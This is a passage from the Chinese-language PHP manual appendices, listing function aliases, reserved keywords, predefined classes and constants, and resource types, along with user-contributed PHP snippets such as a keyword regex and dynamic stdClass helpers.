msql_tablename | msql_result() | mSQL
mssql_affected_rows | sybase_affected_rows() | Sybase
mssql_affected_rows | sybase_affected_rows() | Sybase
mssql_close | sybase_close() | Sybase
mssql_close | sybase_close() | Sybase
mssql_connect | sybase_connect() | Sybase
mssql_connect | sybase_connect() | Sybase
mssql_data_seek | sybase_data_seek() | Sybase
mssql_data_seek | sybase_data_seek() | Sybase
mssql_fetch_array | sybase_fetch_array() | Sybase
mssql_fetch_array | sybase_fetch_array() | Sybase
mssql_fetch_field | sybase_fetch_field() | Sybase
mssql_fetch_field | sybase_fetch_field() | Sybase
mssql_fetch_object | sybase_fetch_object() | Sybase
mssql_fetch_object | sybase_fetch_object() | Sybase
mssql_fetch_row | sybase_fetch_row() | Sybase
mssql_fetch_row | sybase_fetch_row() | Sybase
mssql_field_seek | sybase_field_seek() | Sybase
mssql_field_seek | sybase_field_seek() | Sybase
mssql_free_result | sybase_free_result() | Sybase
mssql_free_result | sybase_free_result() | Sybase
mssql_get_last_message | sybase_get_last_message() | Sybase
mssql_get_last_message | sybase_get_last_message() | Sybase
mssql_min_client_severity | sybase_min_client_severity() | Sybase
mssql_min_error_severity | sybase_min_error_severity() | Sybase
mssql_min_message_severity | sybase_min_message_severity() | Sybase
mssql_min_server_severity | sybase_min_server_severity() | Sybase
mssql_num_fields | sybase_num_fields() | Sybase
mssql_num_fields | sybase_num_fields() | Sybase
mssql_num_rows | sybase_num_rows() | Sybase
mssql_num_rows | sybase_num_rows() | Sybase
mssql_pconnect | sybase_pconnect() | Sybase
mssql_pconnect | sybase_pconnect() | Sybase
mssql_query | sybase_query() | Sybase
mssql_query | sybase_query() | Sybase
mssql_result | sybase_result() | Sybase
mssql_result | sybase_result() | Sybase
mssql_select_db | sybase_select_db() | Sybase
mssql_select_db | sybase_select_db() | Sybase
multcolor | swfdisplayitem_multColor() | Ming (flash)
mysql | mysql_db_query() | MySQL
mysql_createdb | mysql_create_db() | MySQL
mysql_db_name | mysql_result() | MySQL
mysql_dbname | mysql_result() | MySQL
mysql_dropdb | mysql_drop_db() | MySQL
mysql_fieldflags | mysql_field_flags() | MySQL
mysql_fieldlen | mysql_field_len() | MySQL
mysql_fieldname | mysql_field_name() | MySQL
mysql_fieldtable | mysql_field_table() | MySQL
mysql_fieldtype | mysql_field_type() | MySQL
mysql_freeresult | mysql_free_result() | MySQL
mysql_listdbs | mysql_list_dbs() | MySQL
mysql_listfields | mysql_list_fields() | MySQL
mysql_listtables | mysql_list_tables() | MySQL
mysql_numfields | mysql_num_fields() | MySQL
mysql_numrows | mysql_num_rows() | MySQL
mysql_selectdb | mysql_select_db() | MySQL
mysql_tablename | mysql_result() | MySQL
name | domxml_attrname() |
new_child | domxml_new_child() |
new_xmldoc | domxml_new_xmldoc() |
nextframe | swfmovie_nextFrame() | Ming (flash)
nextframe | swfsprite_nextFrame() | Ming (flash)
node | domxml_node() |
ociassignelem | OCI-Collection::assignElem | OCI8
ocibindbyname | oci_bind_by_name() | OCI8
ocicancel | oci_cancel() | OCI8
ocicloselob | OCI-Lob::close | OCI8
ocicollappend | OCI-Collection::append | OCI8
ocicollassign | OCI-Collection::assign | OCI8
ocicollmax | OCI-Collection::max | OCI8
ocicollsize | OCI-Collection::size | OCI8
ocicolltrim | OCI-Collection::trim | OCI8
ocicolumnisnull | oci_field_is_null() | OCI8
ocicolumnname | oci_field_name() | OCI8
ocicolumnprecision | oci_field_precision() | OCI8
ocicolumnscale | oci_field_scale() | OCI8
ocicolumnsize | oci_field_size() | OCI8
ocicolumntype | oci_field_type() | OCI8
ocicolumntyperaw | oci_field_type_raw() | OCI8
ocicommit | oci_commit() | OCI8
ocidefinebyname | oci_define_by_name() | OCI8
ocierror | oci_error() | OCI8
ociexecute | oci_execute() | OCI8
ocifetch | oci_fetch() | OCI8
ocifetchinto | oci_fetch_array(), oci_fetch_row(), oci_fetch_assoc(), oci_fetch_object() | OCI8
ocifetchstatement | oci_fetch_all() | OCI8
ocifreecollection | OCI-Collection::free | OCI8
ocifreecursor | oci_free_statement() | OCI8
ocifreedesc | oci_free_descriptor() | OCI8
ocifreestatement | oci_free_statement() | OCI8
ocigetelem | OCI-Collection::getElem | OCI8
ociinternaldebug | oci_internal_debug() | OCI8
ociloadlob | OCI-Lob::load | OCI8
ocilogon | oci_connect() | OCI8
ocinewcollection | oci_new_collection() | OCI8
ocinewcursor | oci_new_cursor() | OCI8
ocinewdescriptor | oci_new_descriptor() | OCI8
ocinlogon | oci_new_connect() | OCI8
ocinumcols | oci_num_fields() | OCI8
ociparse | oci_parse() | OCI8
ocipasswordchange | oci_password_change() | OCI8
ociplogon | oci_pconnect() | OCI8
ociresult | oci_result() | OCI8
ocirollback | oci_rollback() | OCI8
ocisavelob | OCI-Lob::save | OCI8
ocisavelobfile | OCI-Lob::import | OCI8
ociserverversion | oci_server_version() | OCI8
ocisetprefetch | oci_set_prefetch() | OCI8
ocistatementtype | oci_statement_type() | OCI8
ociwritelobtofile | OCI-Lob::export | OCI8
ociwritetemporarylob | OCI-Lob::writeTemporary | OCI8
odbc_do | odbc_exec() | ODBC
odbc_field_precision | odbc_field_len() | ODBC
output | swfmovie_output() | Ming (flash)
parent | domxml_parent() |
pdf_add_outline | pdf_add_bookmark() | PDF
pg_clientencoding | pg_client_encoding() | PostgreSQL
pg_setclientencoding | pg_set_client_encoding() | PostgreSQL
pos | current() | 基本语法
recode | recode_string() | Recode
remove | swfmovie_remove() | Ming (flash)
remove | swfsprite_remove() | Ming (flash)
rewind | rewinddir() | 基本语法
root | domxml_root() |
rotate | swfdisplayitem_rotate() | Ming (flash)
rotateto | swfdisplayitem_rotateTo() | Ming (flash)
rotateto | swffill_rotateTo() | Ming (flash)
save | swfmovie_save() | Ming (flash)
savetofile | swfmovie_saveToFile() | Ming (flash)
scale | swfdisplayitem_scale() | Ming (flash)
scaleto | swfdisplayitem_scaleTo() | Ming (flash)
scaleto | swffill_scaleTo() | Ming (flash)
set_attribute | domxml_set_attribute() |
set_content | domxml_set_content() |
setaction | swfbutton_setAction() | Ming (flash)
setattr | domxml_set_attribute() |
setbackground | swfmovie_setBackground() | Ming (flash)
setbounds | swftextfield_setBounds() | Ming (flash)
setcolor | swftext_setColor() | Ming (flash)
setcolor | swftextfield_setColor() | Ming (flash)
setdepth | swfdisplayitem_setDepth() | Ming (flash)
setdimension | swfmovie_setDimension() | Ming (flash)
setdown | swfbutton_setDown() | Ming (flash)
setfont | swftext_setFont() | Ming (flash)
setfont | swftextfield_setFont() | Ming (flash)
setframes | swfmovie_setFrames() | Ming (flash)
setframes | swfsprite_setFrames() | Ming (flash)
setheight | swftext_setHeight() | Ming (flash)
setheight | swftextfield_setHeight() | Ming (flash)
sethit | swfbutton_setHit() | Ming (flash)
setindentation | swftextfield_setIndentation() | Ming (flash)
setleftfill | swfshape_setleftfill() | Ming (flash)
setleftmargin | swftextfield_setLeftMargin() | Ming (flash)
setline | swfshape_setline() | Ming (flash)
setlinespacing | swftextfield_setLineSpacing() | Ming (flash)
setmargins | swftextfield_setMargins() | Ming (flash)
setmatrix | swfdisplayitem_setMatrix() | Ming (flash)
setname | swfdisplayitem_setName() | Ming (flash)
setname | swftextfield_setName() | Ming (flash)
setover | swfbutton_setOver() | Ming (flash)
setrate | swfmovie_setRate() | Ming (flash)
setratio | swfdisplayitem_setRatio() | Ming (flash)
setrightfill | swfshape_setrightfill() | Ming (flash)
setrightmargin | swftextfield_setRightMargin() | Ming (flash)
setspacing | swftext_setSpacing() | Ming (flash)
setup | swfbutton_setUp() | Ming (flash)
show_source | highlight_file () | 基本语法
sizeof | count() | 基本语法
skewx | swfdisplayitem_skewX() | Ming (flash)
skewxto | swfdisplayitem_skewXTo() | Ming (flash)
skewxto | swffill_skewXTo() | Ming (flash)
skewy | swfdisplayitem_skewY() | Ming (flash)
skewyto | swfdisplayitem_skewYTo() | Ming (flash)
skewyto | swffill_skewYTo() | Ming (flash)
snmpwalkoid | snmprealwalk() | SNMP
strchr | strstr() | 基本语法
streammp3 | swfmovie_streamMp3() | Ming (flash)
swfaction | swfaction_init() | Ming (flash)
swfbitmap | swfbitmap_init() | Ming (flash)
swfbutton | swfbutton_init() | Ming (flash)
swffill | swffill_init() | Ming (flash)
swffont | swffont_init() | Ming (flash)
swfgradient | swfgradient_init() | Ming (flash)
swfmorph | swfmorph_init() | Ming (flash)
swfmovie | swfmovie_init() | Ming (flash)
swfshape | swfshape_init() | Ming (flash)
swfsprite | swfsprite_init() | Ming (flash)
swftext | swftext_init() | Ming (flash)
swftextfield | swftextfield_init() | Ming (flash)
unlink | domxml_unlink_node() |
xptr_new_context | xpath_new_context() |

User Contributed Notes

There are no user contributed notes for this page.


保留字列表

Table of Contents

  • 关键词列表
  • 预定义类
  • 预定义常量
  • 其他保留字列表

以下是 PHP 中预定义标识符的列表。没有列在下面的标识符可以在脚本中作为自定义标识符使用。这些列表包括关键字和预定义变量、常量和类名。这些列表可能有遗漏，它是不完整的。

User Contributed Notes

There are no user contributed notes for this page.


关键词列表

这些词语在 PHP 中有着特殊的意义。它们中有些像是函数，有些像是常量......但是它们不是的，它们只是语言结构的一部分。不能使用它们的任何一个作为常量、方法名或是类名。但是可以将它们作为变量名使用，不过这样会导致混淆。

从PHP7.0.0开始这些关键字允许被用作类的属性、常量以及类的方法名，或者接口名和traints名，除了class不能被用作常量名。

PHP 关键词
__halt_compiler() | abstract | and | array() | as
break | callable (as of PHP 5.4) | case | catch | class
clone | const | continue | declare | default
die() | do | echo | else | elseif
empty() | enddeclare | endfor | endforeach | endif
endswitch | endwhile | eval() | exit() | extends
final | finally (从PHP 5.5开始) | for | foreach | function
global | goto (从PHP 5.3开始) | if | implements | include
include_once | instanceof | insteadof (从PHP 5.4开始) | interface | isset()
list() | namespace (从PHP 5.3开始) | new | or | print
private | protected | public | require | require_once
return | static | switch | throw | trait (从PHP 5.4开始)
try | unset() | use | var | while
xor | yield (从PHP 5.5开始) |  |  |
编译时常量
__CLASS__ | __DIR__ (从PHP 5.3开始) | __FILE__ | __FUNCTION__ | __LINE__ | __METHOD__
__NAMESPACE__ (从PHP 5.3开始) | __TRAIT__ (从PHP 5.4开始) |  |  |  |

User Contributed Notes

bla at taxistop dot be 19-Jul-2018 09:50
This list doesn't include 'self' and 'parent', which I take are indeed keywords.
Thomas Hansen 15-Aug-2016 10:08
Please note that reserved words are still not allowed to be used as namespace or as part of it:

<?php
namespace MyNameSpace\List;

class Test
{
}
?>

This will fail with a Parse error:  syntax error, unexpected 'List' (T_LIST), expecting identifier (T_STRING)
martindilling at gmail dot com 15-Apr-2013 10:20
RegEx to find all the keywords:

\b(
(a(bstract|nd|rray|s))|
(c(a(llable|se|tch)|l(ass|one)|on(st|tinue)))|
(d(e(clare|fault)|ie|o))|
(e(cho|lse(if)?|mpty|nd(declare|for(each)?|if|switch|while)|val|x(it|tends)))|
(f(inal|or(each)?|unction))|
(g(lobal|oto))|
(i(f|mplements|n(clude(_once)?|st(anceof|eadof)|terface)|sset))|
(n(amespace|ew))|
(p(r(i(nt|vate)|otected)|ublic))|
(re(quire(_once)?|turn))|
(s(tatic|witch))|
(t(hrow|r(ait|y)))|
(u(nset|se))|
(__halt_compiler|break|list|(x)?or|var|while)
)\b
Chris 04-Oct-2012 04:33
Here they are as arrays:

<?php
$keywords = array('__halt_compiler', 'abstract', 'and', 'array', 'as', 'break', 'callable', 'case', 'catch', 'class', 'clone', 'const', 'continue', 'declare', 'default', 'die', 'do', 'echo', 'else', 'elseif', 'empty', 'enddeclare', 'endfor', 'endforeach', 'endif', 'endswitch', 'endwhile', 'eval', 'exit', 'extends', 'final', 'for', 'foreach', 'function', 'global', 'goto', 'if', 'implements', 'include', 'include_once', 'instanceof', 'insteadof', 'interface', 'isset', 'list', 'namespace', 'new', 'or', 'print', 'private', 'protected', 'public', 'require', 'require_once', 'return', 'static', 'switch', 'throw', 'trait', 'try', 'unset', 'use', 'var', 'while', 'xor');

$predefined_constants = array('__CLASS__', '__DIR__', '__FILE__', '__FUNCTION__', '__LINE__', '__METHOD__', '__NAMESPACE__', '__TRAIT__');
?>

Along with get_defined_functions() and get_defined_constants(), this can be useful for checking eval() statements.


预定义类

本节列出标准的预定义类。各种扩展库定义了其它类，其说明在各自的参考文档中。

标准类

这些类由一些内建在 PHP 中的标准函数定义。

Directory
由dir()创建.
stdClass
Created by typecasting to object.
__PHP_Incomplete_Class
Possibly created by unserialize().

自 PHP 5 起预定义的类

这些额外的预定义类是 PHP 5.0.0 引进的。

exception
ErrorException
Available since PHP 5.1.0.
php_user_filter

Closure

PHP5.3.0中引入了一个预定义的final类Closure，它可以用于实现 匿名函数

关于更多信息，可以查看匿名函数.

Generator

The predefined final class Generator was introduced in PHP 5.5.0. It is used for representing generators.

For more information, see its class page.

从PHP 7开始预定义的类和接口

这些预定义的类和接口是在PHP 7.0.0 中开始引入的。

ArithmeticError
AssertionError
DivisionByZeroError
Error
Throwable
ParseError
TypeError

特殊的类

以下这些标识符由于它们有特殊的用处，因此不可作为类名

self
Current class.
static
Current class in runtime.
parent
Parent class.

User Contributed Notes

xzero at elite7hackers dot net 08-Sep-2017 08:37
There comes improved version of amazing snippet posted by (spark at limao dot com dot br)  which allows dynamic methods generations and works as versatile extension of StdClass:

This one is faster, optimised for closures, and will work only with closures. Compatible: >= PHP 5.6
<?php

class Dynamic extends \stdClass
{
    public function __call($key, $params)
    {
        if ( ! isset($this->{$key})) {
            throw new Exception("Call to undefined method " . __CLASS__ . "::" . $key . "()");
        }

        return $this->{$key}->__invoke(... $params);
    }
}

?>

Usage examples:

<?php
$dynamic                = new Dynamic();
$dynamic->anotherMethod = function () {
    echo "Hey there";
};
$dynamic->randomInt     = function ($min, $max) {
    return mt_rand($min, $max); // random_int($min, $max); // <-- PHP7+
};

var_dump(
    $dynamic->randomInt(1, 11),
    $dynamic->anotherMethod()
);
?>

This will accept arrays, strings and Closures but is a bit slower due to call_user_func_array
<?php

class Dynamic extends \stdClass
{
    public function __call($key, $params)
    {
        if ( ! isset($this->{$key})) {
            throw new Exception("Call to undefined method " . __CLASS__ . "::" . $key . "()");
        }

        return call_user_func_array($this->{$key}, $params);
    }
}

?>

Usage examples:
<?php
$dynamic                = new Dynamic();
$dynamic->myMethod      = "thatFunction";
$dynamic->hisMethod     = array($dynamic, "randomInt");
$dynamic->newMethod     = array(SomeClass, "staticMethod");
$dynamic->anotherMethod = function () {
    echo "Hey there";
};
$dynamic->randomInt     = function ($min, $max) {
    return mt_rand($min, $max); // random_int($min, $max); // <-- PHP7+
};

var_dump(
    $dynamic->randomInt(1, 11),
    $dynamic->anotherMethod(),
    $dynamic->hisMethod()
);

?>
xzero at elite7hackers dot net 08-Sep-2017 08:32
There comes improved version of amazing snippet posted by which allows dynamic methods generations and works as versatile extension of StdClass:

This one is faster, optimised for closures, and will work only with closures. Compatible: >= PHP 5.6
<?php

class Dynamic extends \stdClass
{
    public function __call($key, $params)
    {
        if ( ! isset($this->{$key})) {
            throw new Exception("Call to undefined method " . __CLASS__ . "::" . $key . "()");
        }

        return $this->{$key}->__invoke(... $params);
    }
}

?>

Usage examples:

<?php
$dynamic                = new Dynamic();
$dynamic->anotherMethod = function () {
    echo "Hey there";
};
$dynamic->randomInt     = function ($min, $max) {
    return mt_rand($min, $max); // random_int($min, $max); // <-- PHP7+
};

var_dump(
    $dynamic->randomInt(1, 11),
    $dynamic->anotherMethod()
);
?>

This will accept arrays, strings and Closures but is a bit slower due to call_user_func_array
<?php

class Dynamic extends \stdClass
{
    public function __call($key, $params)
    {
        if ( ! isset($this->{$key})) {
            throw new Exception("Call to undefined method " . __CLASS__ . "::" . $key . "()");
        }

        return call_user_func_array($this->{$key}, $params);
    }
}

?>

Usage examples:
<?php
$dynamic                = new Dynamic();
$dynamic->myMethod      = "thatFunction";
$dynamic->hisMethod     = array($dynamic, "randomInt");
$dynamic->newMethod     = array(SomeClass, "staticMethod");
$dynamic->anotherMethod = function () {
    echo "Hey there";
};
$dynamic->randomInt     = function ($min, $max) {
    return mt_rand($min, $max); // random_int($min, $max); // <-- PHP7+
};

var_dump(
    $dynamic->randomInt(1, 11),
    $dynamic->anotherMethod(),
    $dynamic->hisMethod()
);

?>
Ashley Dambra 19-Feb-2014 06:43
Here a simple class that allow to set anonymous function. It's an optimised class of stdClass.

<?php
class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                if ($argument instanceOf Closure) {
                    $this->{$property} = $argument;
                } else {
                    $this->{$property} = $argument;
                }
            }
        }
    }

    public function __call($method, $arguments) {
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}

$person = new stdObject(array(
    "name" => "nick",
    "age" => 23,
    "friends" => array("frank", "sally", "aaron"),
    "sayHi" => function() {
        return "Hello there";
    }
));

$person->sayHi2 = function() {
    return "Hello there 2";
};

$person->test = function() {
    return "test";
};

var_dump($person->name, $person->test(), $person->sayHi2());
?>
wyattstorch42 at outlook dot com 24-Dec-2013 01:15
If you call var_export() on an instance of stdClass, it attempts to export it using ::__set_state(), which, for some reason, is not implemented in stdClass.

However, casting an associative array to an object usually produces the same effect (at least, it does in my case). So I wrote an improved_var_export() function to convert instances of stdClass to (object) array () calls. If you choose to export objects of any other class, I'd advise you to implement ::__set_state().

<?php
/**
 * An implementation of var_export() that is compatible with instances
 * of stdClass.
 * @param mixed $variable The variable you want to export
 * @param bool $return If used and set to true, improved_var_export()
 *     will return the variable representation instead of outputting it.
 * @return mixed|null Returns the variable representation when the
 *     return parameter is used and evaluates to TRUE. Otherwise, this
 *     function will return NULL.
 */
function improved_var_export ($variable, $return = false) {
    if ($variable instanceof stdClass) {
        $result = '(object) '.improved_var_export(get_object_vars($variable), true);
    } else if (is_array($variable)) {
        $array = array ();
        foreach ($variable as $key => $value) {
            $array[] = var_export($key, true).' => '.improved_var_export($value, true);
        }
        $result = 'array ('.implode(', ', $array).')';
    } else {
        $result = var_export($variable, true);
    }

    if (!$return) {
        print $result;
        return null;
    } else {
        return $result;
    }
}

// Example usage:
$obj = new stdClass;
$obj->test = 'abc';
$obj->other = 6.2;
$obj->arr = array (1, 2, 3);

improved_var_export((object) array (
    'prop1' => true,
    'prop2' => $obj,
    'assocArray' => array (
        'apple' => 'good',
        'orange' => 'great'
    )
));

/* Output:
(object) array ('prop1' => true, 'prop2' => (object) array ('test' => 'abc', 'other' => 6.2, 'arr' => array (0 => 1, 1 => 2, 2 => 3)), 'assocArray' => array ('apple' => 'good', 'orange' => 'great'))
*/
?>

Note: This function spits out a single line of code, which is useful to save in a cache file to include/eval. It isn't formatted for readability. If you want to print a readable version for debugging purposes, then I would suggest print_r() or var_dump().
spark at limao dot com dot br 15-Aug-2011 02:21
if you want a Dynamic class you can extend from, add atributes AND methods on the fly you can use this:
<?php
    class Dynamic extends stdClass{
        public function __call($key,$params){
            if(!isset($this->{$key})) throw new Exception("Call to undefined method ".get_class($this)."::".$key."()");
            $subject = $this->{$key};
            call_user_func_array($subject,$params);
        }
    }
?>

this will accept both arrays, strings and Closures:
<?php
    $dynamic->myMethod = "thatFunction";
    $dynamic->hisMethod = array($instance,"aMethod");
    $dynamic->newMethod = array(SomeClass,"staticMethod");
    $dynamic->anotherMethod = function(){
        echo "Hey there";
    };
?>

then call them away =D
Typer85 at gmail dot com 17-Feb-2007 08:58
In response to the note below mine,

This list is not incomplete. Read the Manual folks, its listed there plain and simple:

"This section lists standard predefined classes. Miscellaneous extensions define other classes which are described in their reference."

Depending on what extensions you have, they might define their own classes. This list is just the standard classes as defined by PHP with no regards to extensions.
unknown 23-Jul-2002 10:29
It's handy to have a array of the reserved classes.....
var_dump (get_declared_classes ());


预定义常量

内核预定义常量

这些常量在 PHP 的内核中定义。它包含 PHP、Zend 引擎和 SAPI 模块。

PHP_VERSION (string)
The current PHP version as a string in "major.minor.release[extra]" notation.
PHP_MAJOR_VERSION (integer)
The current PHP "major" version as an integer (e.g., int(5) from version "5.2.7-extra"). Available since PHP 5.2.7.
PHP_MINOR_VERSION (integer)
The current PHP "minor" version as an integer (e.g., int(2) from version "5.2.7-extra"). Available since PHP 5.2.7.
PHP_RELEASE_VERSION (integer)
The current PHP "release" version as an integer (e.g., int(7) from version "5.2.7-extra"). Available since PHP 5.2.7.
PHP_VERSION_ID (integer)
The current PHP version as an integer, useful for version comparisons (e.g., int(50207) from version "5.2.7-extra"). Available since PHP 5.2.7.
PHP_EXTRA_VERSION (string)
The current PHP "extra" version as a string (e.g., '-extra' from version "5.2.7-extra"). Often used by distribution vendors to indicate a package version. Available since PHP 5.2.7.
PHP_ZTS (integer)
Available since PHP 5.2.7.
PHP_DEBUG (integer)
Available since PHP 5.2.7.
PHP_MAXPATHLEN (integer)
The maximum length of filenames (including path) supported by this build of PHP. Available since PHP 5.3.0.
PHP_OS (string)
The operating system PHP was built for.
PHP_OS_FAMILY (string)
The operating system family PHP was built for. Either of 'Windows', 'BSD', 'Darwin', 'Solaris', 'Linux' or 'Unknown'. Available as of PHP 7.2.0.
PHP_SAPI (string)
The Server API for this build of PHP.参见 php_sapi_name()。
PHP_EOL (string)
The correct 'End Of Line' symbol for this platform.自 PHP 5.0.2 起可用
PHP_INT_MAX (integer)
The largest integer supported in this build of PHP. Usually int(2147483647).自 PHP 5.0.5 起可用
PHP_INT_MIN (integer)
The smallest integer supported in this build of PHP. Usually int(-2147483648) in 32 bit systems and int(-9223372036854775808) in 64 bit systems. Available since PHP 7.0.0. Usually, PHP_INT_MIN === ~PHP_INT_MAX.
PHP_INT_SIZE (integer)
The size of an integer in bytes in this build of PHP. 自 PHP 5.0.5 起可用
PHP_FLOAT_DIG (integer)
Number of decimal digits that can be rounded into a float and back without precision loss. Available as of PHP 7.2.0.
PHP_FLOAT_EPSILON (float)
Smallest representable positive number x, so that x + 1.0 != 1.0. Available as of PHP 7.2.0.
PHP_FLOAT_MIN (float)
Smallest representable floating point number. Available as of PHP 7.2.0.
PHP_FLOAT_MAX (float)
Largest representable floating point number. Available as of PHP 7.2.0.
DEFAULT_INCLUDE_PATH (string)
PEAR_INSTALL_DIR (string)
PEAR_EXTENSION_DIR (string)
PHP_EXTENSION_DIR (string)
PHP_PREFIX (string)
The value "--prefix" was set to at configure.
PHP_BINDIR (string)
Specifies where the binaries were installed into.
PHP_BINARY (string)
Specifies the PHP binary path during script execution. Available since PHP 5.4.
PHP_MANDIR (string)
Specifies where the manpages were installed into. Available since PHP 5.3.7.
PHP_LIBDIR (string)
PHP_DATADIR (string)
PHP_SYSCONFDIR (string)
PHP_LOCALSTATEDIR (string)
PHP_CONFIG_FILE_PATH (string)
PHP_CONFIG_FILE_SCAN_DIR (string)
PHP_SHLIB_SUFFIX (string)
The build-platform's shared library suffix, such as "so" (most Unixes) or "dll" (Windows).
PHP_FD_SETSIZE (string)
The maximum number of file descriptors for select system calls. Available as of PHP 7.1.0.
E_ERROR (integer)
Error reporting constant
E_WARNING (integer)
Error reporting constant
E_PARSE (integer)
Error reporting constant
E_NOTICE (integer)
Error reporting constant
E_CORE_ERROR (integer)
Error reporting constant
E_CORE_WARNING (integer)
Error reporting constant
E_COMPILE_ERROR (integer)
Error reporting constant
E_COMPILE_WARNING (integer)
Error reporting constant
E_USER_ERROR (integer)
Error reporting constant
E_USER_WARNING (integer)
Error reporting constant
E_USER_NOTICE (integer)
Error reporting constant
E_RECOVERABLE_ERROR (integer)
Error reporting constant. Available since PHP 5.2.0
E_DEPRECATED (integer)
Error reporting constant. Available since PHP 5.3.0
E_USER_DEPRECATED (integer)
Error reporting constant. Available since PHP 5.3.0
E_ALL (integer)
Error reporting constant
E_STRICT (integer)
Error reporting constant
__COMPILER_HALT_OFFSET__ (integer)
自 PHP 5.1.0 起有效
TRUE (boolean)
See Booleans.
FALSE (boolean)
See Booleans.
NULL (null)
See Null.

参见魔术常量。

标准预定义常量

所有在核心扩展 的常量是 PHP 默认定义的。

User Contributed Notes

nabikaz at gmail dot com 10-Nov-2016 10:18
Don't use `PHP_EOL` for textarea of form to array, use it:

array_values(array_filter(explode("\n", str_replace("\r", '', $_POST['data']))))
Anonymous 27-Jan-2015 03:25
PHP_EOL can be used like that:

<?php

$data = 'some data'.PHP_EOL;
$fp = fopen('somefile', 'a');
fwrite($fp, $data);

?>

Which is the same of \r\n or \n depending on the OS.
You can put those lines in a while for example, and create a log file.
rdcapasso 08-Sep-2013 09:16
Volker's getOS() function needs to have the order of cases changed in the switch statement since "darwin" contains "win", which means that both "windows" and "darwin" will return self::OS_WIN. I've moved the 'dar' case above the 'win' case:

<?php
class System {

    const OS_UNKNOWN = 1;
    const OS_WIN = 2;
    const OS_LINUX = 3;
    const OS_OSX = 4;

    /**
     * @return int
     */
    static public function getOS() {
        switch (true) {
            case stristr(PHP_OS, 'DAR'): return self::OS_OSX;
            case stristr(PHP_OS, 'WIN'): return self::OS_WIN;
            case stristr(PHP_OS, 'LINUX'): return self::OS_LINUX;
            default : return self::OS_UNKNOWN;
        }
    }

}
?>


其他保留字列表

以下关键字不可被用于类名、接口名和trait名，并且它们被禁止用于命名空间。

Reserved words
int (从PHP 7开始) | float (从PHP 7开始) | bool (从PHP 7开始) | string (从PHP 7开始)
true (从PHP 7开始) | false (从PHP 7开始) | null (从PHP 7开始)

以下关键词已经被建议保留。尽管你仍然可以将它们用于类名、接口名和trait名（以及命名空间），但是考虑到在将来的PHP版本中可能会使用，因此非常不推荐去使用它们。

Soft reserved words
resource (从PHP 7开始) object (从PHP 7开始) mixed (从PHP 7开始) numeric (从PHP 7开始)

User Contributed Notes

There are no user contributed notes for this page.


资源类型列表

以下是一个建立，使用和销毁资源的函数列表。可以用 is_resource()函数测定一个变量是否是资源，函数 get_resource_type()则返回该资源的类型。

资源类型
资源类型名称 | 建立者 | 使用者 | 销毁者 | 定义
aspell | aspell_new() | aspell_check(), aspell_check_raw(), aspell_suggest() | None | Aspell dictionary
bzip2 | bzopen() | bzerrno(), bzerror(), bzerrstr(), bzflush(), bzread(), bzwrite() | bzclose() | Bzip2 file
COM | com_load() | com_invoke(), com_propget(), com_get(), com_propput(), com_set(), com_propput() | None | COM object reference
VARIANT
cpdf | cpdf_open() | cpdf_page_init(), cpdf_finalize_page(), cpdf_finalize(), cpdf_output_buffer(), cpdf_save_to_file(), cpdf_set_current_page(), cpdf_begin_text(), cpdf_end_text(), cpdf_show(), cpdf_show_xy(), cpdf_text(), cpdf_set_font(), cpdf_set_leading(), cpdf_set_text_rendering(), cpdf_set_horiz_scaling(), cpdf_set_text_rise(), cpdf_set_text_matrix(), cpdf_set_text_pos(), cpdf_set_text_pos(), cpdf_set_word_spacing(), cpdf_continue_text(), cpdf_stringwidth(), cpdf_save(), cpdf_translate(), cpdf_restore(), cpdf_scale(), cpdf_rotate(), cpdf_setflat(), cpdf_setlinejoin(), cpdf_setlinecap(), cpdf_setmiterlimit(), cpdf_setlinewidth(), cpdf_setdash(), cpdf_moveto(), cpdf_rmoveto(), cpdf_curveto(), cpdf_lineto(), cpdf_rlineto(), cpdf_circle(), cpdf_arc(), cpdf_rect(), cpdf_closepath(), cpdf_stroke(), cpdf_closepath_fill_stroke(), cpdf_fill_stroke(), cpdf_clip(), cpdf_fill(), cpdf_setgray_fill(), cpdf_setgray_stroke(), cpdf_setgray(), cpdf_setrgbcolor_fill(), cpdf_setrgbcolor_stroke(), cpdf_setrgbcolor(), cpdf_add_outline(), cpdf_set_page_animation(), cpdf_import_jpeg(), cpdf_place_inline_image(), cpdf_add_annotation() | cpdf_close() | PDF document with CPDF lib
cpdf outline
curl | curl_copy_handle(), curl_init() | curl_copy_handle(), curl_errno(), curl_error(), curl_exec(), curl_getinfo(), curl_setopt() | curl_close() | Curl session
dbm | dbmopen() | dbmexists(), dbmfetch(), dbminsert(), dbmreplace(), dbmdelete(), dbmfirstkey(), dbmnextkey() | dbmclose() | Link to DBM database
dba | dba_open() | dba_delete(), dba_exists(), dba_fetch(), dba_firstkey(), dba_insert(), dba_nextkey(), dba_optimize(), dba_replace(), dba_sync() | dba_close() | Link to DBA database
dba persistent | dba_popen() | dba_delete(), dba_exists(), dba_fetch(), dba_firstkey(), dba_insert(), dba_nextkey(), dba_optimize(), dba_replace(), dba_sync() | None | Persistent link to DBA database
dbase | dbase_open() | dbase_pack(), dbase_add_record(), dbase_replace_record(), dbase_delete_record(), dbase_get_record(), dbase_get_record_with_names(), dbase_numfields(), dbase_numrecords() | dbase_close() | Link to Dbase database
dbx_link_object | dbx_connect() | dbx_query() | dbx_close() | dbx connection
dbx_result_object | dbx_query() | None | dbx result
domxml attribute
domxml document
domxml node
xpath context
xpath object
fbsql link | fbsql_change_user(), fbsql_connect() | fbsql_autocommit(), fbsql_blob_size(), fbsql_clob_size(), fbsql_commit(), fbsql_change_user(), fbsql_create_blob(), fbsql_create_db(), fbsql_create_clob(), fbsql_data_seek(), fbsql_database_password(), fbsql_database(), fbsql_db_query(), fbsql_db_status(), fbsql_drop_db(), fbsql_errno(), fbsql_error(), fbsql_get_autostart_info(), fbsql_hostname(), fbsql_insert_id(), fbsql_list_dbs(), fbsql_password(), fbsql_read_blob(), fbsql_read_clob(), fbsql_rollback(), fbsql_select_db(), fbsql_set_password(), fbsql_set_transaction(), fbsql_start_db(), fbsql_stop_db(), fbsql_username() | fbsql_close() | Link to fbsql database
